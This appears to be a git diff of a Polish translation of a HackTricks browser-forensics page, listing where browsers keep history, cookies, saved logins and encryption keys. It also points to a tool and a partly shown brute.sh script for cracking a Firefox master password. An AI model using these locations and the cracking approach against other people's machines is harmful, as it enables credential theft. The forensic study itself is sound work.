||||
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||
```
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca nagrody za błąd**: **Zarejestruj się** na platformie do nagród za błędy **Intigriti**, stworzonej przez hakerów, dla hakerów! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 dolarów**!
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,45 @@
|
|||
# Artefakty przeglądarek
|
||||
# Browser Artifacts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
|
||||
|
||||
## Artefakty przeglądarek <a href="#id-3def" id="id-3def"></a>
|
||||
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Artefakty przeglądarek obejmują różne rodzaje danych przechowywanych przez przeglądarki internetowe, takie jak historia nawigacji, zakładki i dane pamięci podręcznej. Te artefakty są przechowywane w określonych folderach w systemie operacyjnym, różniących się miejscem i nazwą w zależności od przeglądarki, ale zazwyczaj przechowujących podobne rodzaje danych.
|
||||
Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types.
|
||||
|
||||
Oto podsumowanie najczęstszych artefaktów przeglądarek:
|
||||
Here's a summary of the most common browser artifacts:
|
||||
|
||||
* **Historia nawigacji**: Śledzi wizyty użytkownika na stronach internetowych, przydatna do identyfikacji wizyt na złośliwych stronach.
|
||||
* **Dane autouzupełniania**: Sugestie oparte na częstych wyszukiwaniach, oferujące wgląd, gdy są połączone z historią nawigacji.
|
||||
* **Historia przeglądania**: Śledzi wizyty użytkownika na stronach internetowych, przydatne do identyfikacji wizyt na złośliwych stronach.
|
||||
* **Dane autouzupełniania**: Sugestie oparte na częstych wyszukiwaniach, oferujące wgląd w połączeniu z historią przeglądania.
|
||||
* **Zakładki**: Strony zapisane przez użytkownika dla szybkiego dostępu.
|
||||
* **Rozszerzenia i dodatki**: Rozszerzenia przeglądarki lub dodatki zainstalowane przez użytkownika.
|
||||
* **Pamięć podręczna**: Przechowuje treści internetowe (np. obrazy, pliki JavaScript) w celu poprawy czasów ładowania strony internetowej, wartościowa do analizy sądowej.
|
||||
* **Logowanie**: Przechowywane dane logowania.
|
||||
* **Favicons**: Ikony związane z witrynami, pojawiające się w kartach i zakładkach, przydatne do uzyskania dodatkowych informacji o wizytach użytkownika.
|
||||
* **Pamięć podręczna**: Przechowuje treści internetowe (np. obrazy, pliki JavaScript) w celu poprawy czasu ładowania stron, cenne dla analizy kryminalistycznej.
|
||||
* **Loginy**: Przechowywane dane logowania.
|
||||
* **Favikony**: Ikony związane ze stronami internetowymi, pojawiające się w kartach i zakładkach, przydatne do uzyskania dodatkowych informacji o wizytach użytkownika.
|
||||
* **Sesje przeglądarki**: Dane związane z otwartymi sesjami przeglądarki.
|
||||
* **Pobrania**: Rejestracje plików pobranych za pomocą przeglądarki.
|
||||
* **Dane formularza**: Informacje wprowadzone w formularzach internetowych, zapisane do przyszłych sugestii autouzupełniania.
|
||||
* **Miniatury**: Podglądy stron internetowych.
|
||||
* **Pobrania**: Rejestry plików pobranych przez przeglądarkę.
|
||||
* **Dane formularzy**: Informacje wprowadzone w formularzach internetowych, zapisywane dla przyszłych sugestii autouzupełniania.
|
||||
* **Miniatury**: Obrazy podglądowe stron internetowych.
|
||||
* **Custom Dictionary.txt**: Słowa dodane przez użytkownika do słownika przeglądarki.
|
||||
|
||||
## Firefox
|
||||
|
@ -49,30 +50,30 @@ Firefox organizuje dane użytkownika w profilach, przechowywanych w określonych
|
|||
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
Plik `profiles.ini` w tych katalogach wymienia profile użytkownika. Dane każdego profilu są przechowywane w folderze o nazwie zmiennej `Path` w `profiles.ini`, znajdującym się w tym samym katalogu co `profiles.ini` sam w sobie. Jeśli brakuje folderu profilu, może to oznaczać, że został usunięty.
|
||||
Plik `profiles.ini` w tych katalogach zawiera listę profili użytkowników. Dane każdego profilu są przechowywane w folderze nazwanym w zmiennej `Path` w `profiles.ini`, znajdującym się w tym samym katalogu co `profiles.ini`. Jeśli folder profilu jest brakujący, mógł zostać usunięty.
|
||||
|
||||
W każdym folderze profilu można znaleźć kilka ważnych plików:
|
||||
|
||||
* **places.sqlite**: Przechowuje historię, zakładki i pobrania. Narzędzia takie jak [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) w systemie Windows mogą uzyskać dostęp do danych historycznych.
|
||||
* Użyj konkretnych zapytań SQL do wyodrębnienia informacji o historii i pobranych plikach.
|
||||
* **places.sqlite**: Przechowuje historię, zakładki i pobrania. Narzędzia takie jak [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows mogą uzyskać dostęp do danych historii.
|
||||
* Użyj specyficznych zapytań SQL, aby wyodrębnić informacje o historii i pobraniach.
|
||||
* **bookmarkbackups**: Zawiera kopie zapasowe zakładek.
|
||||
* **formhistory.sqlite**: Przechowuje dane formularzy internetowych.
|
||||
* **handlers.json**: Zarządza obsługą protokołów.
|
||||
* **persdict.dat**: Słowa z niestandardowego słownika.
|
||||
* **handlers.json**: Zarządza obsługiwanymi protokołami.
|
||||
* **persdict.dat**: Słowa ze słownika użytkownika.
|
||||
* **addons.json** i **extensions.sqlite**: Informacje o zainstalowanych dodatkach i rozszerzeniach.
|
||||
* **cookies.sqlite**: Przechowywanie plików cookie, z [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostępnym do inspekcji w systemie Windows.
|
||||
* **cookies.sqlite**: Przechowywanie ciasteczek, z [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostępnym do inspekcji na Windows.
|
||||
* **cache2/entries** lub **startupCache**: Dane pamięci podręcznej, dostępne za pomocą narzędzi takich jak [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||
* **favicons.sqlite**: Przechowuje favikony.
|
||||
* **prefs.js**: Ustawienia i preferencje użytkownika.
|
||||
* **downloads.sqlite**: Starsza baza danych pobranych plików, teraz zintegrowana z places.sqlite.
|
||||
* **downloads.sqlite**: Starsza baza danych pobrań, teraz zintegrowana z places.sqlite.
|
||||
* **thumbnails**: Miniatury stron internetowych.
|
||||
* **logins.json**: Zaszyfrowane informacje logowania.
|
||||
* **key4.db** lub **key3.db**: Przechowuje klucze szyfrowania do zabezpieczania wrażliwych informacji.
|
||||
* **logins.json**: Szyfrowane informacje logowania.
|
||||
* **key4.db** lub **key3.db**: Przechowuje klucze szyfrujące do zabezpieczania wrażliwych informacji.
|
||||
|
||||
Dodatkowo, sprawdzenie ustawień anty-phishing przeglądarki można wykonać, wyszukując wpisy `browser.safebrowsing` w `prefs.js`, wskazujące, czy funkcje bezpiecznego przeglądania są włączone czy wyłączone.
|
||||
Dodatkowo, sprawdzenie ustawień przeglądarki dotyczących ochrony przed phishingiem można przeprowadzić, wyszukując wpisy `browser.safebrowsing` w `prefs.js`, co wskazuje, czy funkcje bezpiecznego przeglądania są włączone czy wyłączone.
|
||||
|
||||
Aby spróbować odszyfrować główne hasło, można skorzystać z [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Z poniższym skryptem i wywołaniem można określić plik hasła do ataku brutalnej siły:
|
||||
Aby spróbować odszyfrować główne hasło, możesz użyć [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Za pomocą poniższego skryptu i wywołania możesz określić plik haseł do ataku siłowego:
|
||||
|
||||
{% code title="brute.sh" %}
|
||||
```bash
|
||||
|
@ -91,65 +92,65 @@ done < $passfile
|
|||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome przechowuje profile użytkownika w określonych lokalizacjach w zależności od systemu operacyjnego:
|
||||
Google Chrome przechowuje profile użytkowników w określonych lokalizacjach w zależności od systemu operacyjnego:
|
||||
|
||||
* **Linux**: `~/.config/google-chrome/`
|
||||
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
W tych katalogach większość danych użytkownika można znaleźć w folderach **Default/** lub **ChromeDefaultData/**. Poniższe pliki przechowują istotne dane:
|
||||
W tych katalogach większość danych użytkownika można znaleźć w folderach **Default/** lub **ChromeDefaultData/**. Następujące pliki zawierają istotne dane:
|
||||
|
||||
* **History**: Zawiera adresy URL, pobrania i słowa kluczowe wyszukiwania. Na systemie Windows można użyć [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) do odczytania historii. Kolumna "Typ przejścia" ma różne znaczenia, w tym kliknięcia użytkownika w linki, wpisane adresy URL, przesłane formularze i przeładowania strony.
|
||||
* **Cookies**: Przechowuje pliki cookie. Do inspekcji dostępne jest narzędzie [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
|
||||
* **Cache**: Przechowuje dane z pamięci podręcznej. Użytkownicy systemu Windows mogą skorzystać z [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) do inspekcji.
|
||||
* **Zakładki**: Zakładki użytkownika.
|
||||
* **History**: Zawiera adresy URL, pobrania i słowa kluczowe wyszukiwania. W systemie Windows można użyć [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) do odczytania historii. Kolumna "Transition Type" ma różne znaczenia, w tym kliknięcia użytkownika w linki, wpisane adresy URL, przesyłanie formularzy i przeładowania stron.
|
||||
* **Cookies**: Przechowuje pliki cookie. Do inspekcji dostępne jest [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
|
||||
* **Cache**: Przechowuje dane w pamięci podręcznej. Aby sprawdzić, użytkownicy Windows mogą skorzystać z [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
|
||||
* **Bookmarks**: Zakładki użytkownika.
|
||||
* **Web Data**: Zawiera historię formularzy.
|
||||
* **Favicons**: Przechowuje ikony stron internetowych.
|
||||
* **Favicons**: Przechowuje favikony stron internetowych.
|
||||
* **Login Data**: Zawiera dane logowania, takie jak nazwy użytkowników i hasła.
|
||||
* **Aktualna sesja**/**Aktualne karty**: Dane dotyczące bieżącej sesji przeglądania i otwartych kart.
|
||||
* **Ostatnia sesja**/**Ostatnie karty**: Informacje o aktywnych stronach podczas ostatniej sesji przed zamknięciem Chrome.
|
||||
* **Rozszerzenia**: Katalogi dla rozszerzeń i dodatków przeglądarki.
|
||||
* **Miniaturki**: Przechowuje miniaturki stron internetowych.
|
||||
* **Preferencje**: Plik bogaty w informacje, zawierający ustawienia dla wtyczek, rozszerzeń, wyskakujących okien, powiadomień i innych.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Aby sprawdzić, czy ochrona przed phishingiem i złośliwym oprogramowaniem jest włączona, uruchom polecenie `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Szukaj `{"enabled: true,"}` w wyniku.
|
||||
* **Current Session**/**Current Tabs**: Dane o bieżącej sesji przeglądania i otwartych kartach.
|
||||
* **Last Session**/**Last Tabs**: Informacje o stronach aktywnych podczas ostatniej sesji przed zamknięciem Chrome.
|
||||
* **Extensions**: Katalogi dla rozszerzeń przeglądarki i dodatków.
|
||||
* **Thumbnails**: Przechowuje miniatury stron internetowych.
|
||||
* **Preferences**: Plik bogaty w informacje, w tym ustawienia dla wtyczek, rozszerzeń, okienek pop-up, powiadomień i innych.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Aby sprawdzić, czy ochrona przed phishingiem i złośliwym oprogramowaniem jest włączona, uruchom `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Szukaj `{"enabled: true,"}` w wynikach.
|
||||
|
||||
## **Odzyskiwanie danych z bazy danych SQLite**
|
||||
## **Odzyskiwanie danych z bazy SQLite DB**
|
||||
|
||||
Jak można zauważyć w poprzednich sekcjach, zarówno Chrome, jak i Firefox używają baz danych **SQLite** do przechowywania danych. Możliwe jest **odzyskanie usuniętych wpisów za pomocą narzędzia** [**sqlparse**](https://github.com/padfoot999/sqlparse) **lub** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 zarządza swoimi danymi i metadanymi w różnych lokalizacjach, ułatwiając oddzielenie przechowywanych informacji i odpowiadających im szczegółów dla łatwego dostępu i zarządzania.
|
||||
Internet Explorer 11 zarządza swoimi danymi i metadanymi w różnych lokalizacjach, co ułatwia oddzielanie przechowywanych informacji i ich odpowiadających szczegółów dla łatwego dostępu i zarządzania.
|
||||
|
||||
### Przechowywanie metadanych
|
||||
|
||||
Metadane dla Internet Explorera są przechowywane w `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gdzie VX to V01, V16 lub V24). Towarzyszący temu plik `V01.log` może wykazywać rozbieżności czasu modyfikacji w porównaniu z `WebcacheVX.data`, co wskazuje na konieczność naprawy za pomocą `esentutl /r V01 /d`. Te metadane, przechowywane w bazie danych ESE, można odzyskać i inspirować za pomocą narzędzi takich jak photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). W tabeli **Containers** można rozróżnić konkretne tabele lub kontenery, w których przechowywany jest każdy segment danych, w tym szczegóły pamięci podręcznej dla innych narzędzi Microsoftu, takich jak Skype.
|
||||
Metadane dla Internet Explorera są przechowywane w `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gdzie VX to V01, V16 lub V24). Wraz z tym plik `V01.log` może pokazywać różnice w czasie modyfikacji w porównaniu do `WebcacheVX.data`, co wskazuje na potrzebę naprawy za pomocą `esentutl /r V01 /d`. Te metadane, przechowywane w bazie danych ESE, można odzyskać i zbadać za pomocą narzędzi takich jak photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). W tabeli **Containers** można dostrzec konkretne tabele lub kontenery, w których przechowywany jest każdy segment danych, w tym szczegóły pamięci podręcznej dla innych narzędzi Microsoftu, takich jak Skype.
|
||||
|
||||
### Inspekcja pamięci podręcznej
|
||||
|
||||
Narzędzie [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) umożliwia inspekcję pamięci podręcznej, wymagając lokalizacji folderu z ekstrakcją danych pamięci podręcznej. Metadane pamięci podręcznej obejmują nazwę pliku, katalog, liczbę dostępów, pochodzenie URL i znaczniki czasowe wskazujące czasy tworzenia, dostępu, modyfikacji i wygaśnięcia pamięci podręcznej.
|
||||
Narzędzie [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) umożliwia inspekcję pamięci podręcznej, wymagając lokalizacji folderu z danymi pamięci podręcznej. Metadane pamięci podręcznej obejmują nazwę pliku, katalog, liczbę dostępu, pochodzenie URL oraz znaczniki czasowe wskazujące czasy utworzenia, dostępu, modyfikacji i wygaśnięcia pamięci podręcznej.
|
||||
|
||||
### Zarządzanie plikami cookie
|
||||
|
||||
Pliki cookie można badać za pomocą [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), a metadane obejmują nazwy, adresy URL, liczby dostępów i różne szczegóły związane z czasem. Trwałe pliki cookie są przechowywane w `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, a pliki sesji w pamięci.
|
||||
Pliki cookie można badać za pomocą [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), a metadane obejmują nazwy, adresy URL, liczbę dostępu i różne szczegóły czasowe. Trwałe pliki cookie są przechowywane w `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, a pliki cookie sesyjne znajdują się w pamięci.
|
||||
|
||||
### Szczegóły pobierania
|
||||
|
||||
Metadane pobierania są dostępne za pomocą [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), a konkretne kontenery przechowują dane, takie jak URL, typ pliku i lokalizację pobierania. Fizyczne pliki można znaleźć w `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
Metadane pobierania są dostępne za pośrednictwem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), a konkretne kontenery przechowują dane takie jak URL, typ pliku i lokalizacja pobierania. Fizyczne pliki można znaleźć w `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Historia przeglądania
|
||||
|
||||
Aby przejrzeć historię przeglądania, można użyć [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), wymagając lokalizacji wyodrębnionych plików historii i konfiguracji dla Internet Explorera. Metadane obejmują czasy modyfikacji i dostępu, wraz z liczbą dostępów. Pliki historii znajdują się w `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
Aby przeglądać historię przeglądania, można użyć [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), wymagając lokalizacji wyodrębnionych plików historii i konfiguracji dla Internet Explorera. Metadane obejmują czasy modyfikacji i dostępu, a także liczbę dostępu. Pliki historii znajdują się w `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Wpisywane adresy URL
|
||||
### Wpisane adresy URL
|
||||
|
||||
Wpisywane adresy URL i ich czasy użycia są przechowywane w rejestrze pod `NTUSER.DAT` w `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, śledząc ostatnie 50 adresów URL wprowadzonych przez użytkownika i ich ostatnie czasy wprowadzenia.
|
||||
Wpisane adresy URL i ich czasy użycia są przechowywane w rejestrze pod `NTUSER.DAT` w `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, śledząc ostatnie 50 adresów URL wprowadzonych przez użytkownika i ich ostatnie czasy wprowadzenia.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge przechowuje dane użytkownika w `%userprofile%\Appdata\Local\Packages`. Ścieżki do różnych typów danych to:
|
||||
Microsoft Edge przechowuje dane użytkownika w `%userprofile%\Appdata\Local\Packages`. Ścieżki dla różnych typów danych to:
|
||||
|
||||
* **Ścieżka profilu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
* **Historia, pliki cookie i pobrania**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
* **Ustawienia, zakładki i lista czytania**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
* **Pamięć podręczna**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
|
@ -159,45 +160,48 @@ Microsoft Edge przechowuje dane użytkownika w `%userprofile%\Appdata\Local\Pack
|
|||
|
||||
Dane Safari są przechowywane w `/Users/$User/Library/Safari`. Kluczowe pliki to:
|
||||
|
||||
* **History.db**: Zawiera tabele `history_visits` i `history_items` z adresami URL i znacznikami czasowymi wizyt. Użyj `sqlite3` do zapytań.
|
||||
* **History.db**: Zawiera tabele `history_visits` i `history_items` z adresami URL i znacznikami czasu wizyt. Użyj `sqlite3`, aby zapytać.
|
||||
* **Downloads.plist**: Informacje o pobranych plikach.
|
||||
* **Bookmarks.plist**: Przechowuje adresy URL zakładek.
|
||||
* **Bookmarks.plist**: Przechowuje zakładkowane adresy URL.
|
||||
* **TopSites.plist**: Najczęściej odwiedzane strony.
|
||||
* **Extensions.plist**: Lista rozszerzeń przeglądarki Safari. Użyj `plutil` lub `pluginkit` do odzyskania.
|
||||
* **UserNotificationPermissions.plist**: Domeny uprawnione do wysyłania powiadomień. Użyj `plutil` do analizy.
|
||||
* **LastSession.plist**: Karty z ostatniej sesji. Użyj `plutil` do analizy.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Sprawdź za pomocą `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odpowiedź 1 oznacza, że funkcja jest aktywna.
|
||||
* **Extensions.plist**: Lista rozszerzeń przeglądarki Safari. Użyj `plutil` lub `pluginkit`, aby je odzyskać.
|
||||
* **UserNotificationPermissions.plist**: Domeny uprawnione do wysyłania powiadomień. Użyj `plutil`, aby je przeanalizować.
|
||||
* **LastSession.plist**: Karty z ostatniej sesji. Użyj `plutil`, aby je przeanalizować.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Sprawdź, używając `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odpowiedź 1 wskazuje, że funkcja jest aktywna.
|
||||
|
||||
## Opera
|
||||
|
||||
Dane Opery znajdują się w `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dzieli format historii i pobierania z Chrome.
|
||||
Dane Opery znajdują się w `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dzielą format Chrome dla historii i pobrań.
|
||||
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Zweryfikuj, sprawdzając, czy `fraud_protection_enabled` w pliku Preferencje jest ustawione na `true` za pomocą `grep`.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Zweryfikuj, sprawdzając, czy `fraud_protection_enabled` w pliku Preferences jest ustawione na `true` za pomocą `grep`.
|
||||
|
||||
Te ścieżki i polecenia są kluczowe dla dostępu i zrozumienia danych przeglądania przechowywanych przez różne przeglądarki internetowe.
|
||||
Te ścieżki i polecenia są kluczowe dla uzyskania dostępu i zrozumienia danych przeglądania przechowywanych przez różne przeglądarki internetowe.
|
||||
|
||||
## Referencje
|
||||
## References
|
||||
|
||||
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
* **Książka: OS X Incident Response: Scripting and Analysis By Jaron Bradley strona 123**
|
||||
* **Książka: OS X Incident Response: Scripting and Analysis By Jaron Bradley str. 123**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts), aby łatwo tworzyć i **automatyzować zadania** zasilane przez najbardziej zaawansowane narzędzia społeczności.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
|
||||
|
||||
<details>
|
||||
|
||||
